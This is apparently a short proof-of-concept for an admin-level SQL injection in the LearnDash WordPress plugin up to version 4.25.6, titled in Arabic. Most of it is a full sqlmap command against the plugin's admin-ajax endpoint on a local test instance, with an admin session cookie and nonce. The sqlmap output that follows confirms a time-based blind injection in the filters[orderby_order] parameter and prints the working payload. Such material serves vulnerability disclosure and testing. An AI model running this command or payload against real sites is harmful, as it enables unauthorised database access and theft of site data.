randomrobbiebf/learndashحقن SQL رديء يتطلب مسؤول
LearnDash <= 4.25.6 - حقن SQL بمستوى Admin+
إضافة LearnDash لـ WordPress بإصدار أقل من 4.25.6 معرّضة لثغرة حقن SQL بمستوى Admin+.
sqlmap -u "http://localhost:8080/wp-admin/admin-ajax.php?
action=learndash_propanel_template&nonce=98cba41bf0&template=activity_rows&args%5Bpaged%5D=1&args%5Bper_page%5D=5&filters%5Borderby_order%5D=ld_user_activity.activity_updated%20DESC" \
--cookie="wordpress_logged_in_37d007a56d816107ce5b52c10342db37=admin%7C1771776192%7ClX6M99Hllm98hVC0AiyYEbHwwdxqQFMkFGAiCexQxXn%7Cc8755fe9da97ea20031e303f4c4d20985b9ef3e464bba8f6648acab174b06191;
wordpress_test_cookie=WP%20Cookie%20check" \
-p "filters[orderby_order]" \
--dbms=mysql \
--batch \
--level=5 \
--risk=3 \
--technique=T \
--time-sec=5 \
--tamper=space2comment \
--ignore-code=403 \
--flush-session \
--output-dir=/tmp/sqlmap-ld
[16:26:49] [INFO] checking if the injection point on GET parameter 'filters[orderby_order]' is a false positive
GET parameter 'filters[orderby_order]' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1114 HTTP(s) requests:
---
Parameter: filters[orderby_order] (GET)
Type: time-based blind
Title: MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)
Payload: action=learndash_propanel_template&nonce=98cba41bf0&template=activity_rows&args[paged]=1&args[per_page]=5&filters[orderby_order]=ld_user_activity.activity_updated DESC PROCEDURE
ANALYSE(EXTRACTVALUE(3768,CONCAT(0x5c,(BENCHMARK(5000000,MD5(0x70564c51))))),1)# VdvA
---
[16:27:18] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
do you want to exploit this SQL injection? [Y/n] Y
[16:27:18] [INFO] the back-end DBMS is MySQL
[16:27:18] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
web server operating system: Linux Debian
web application technology: Apache 2.4.59, PHP 8.1.29
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)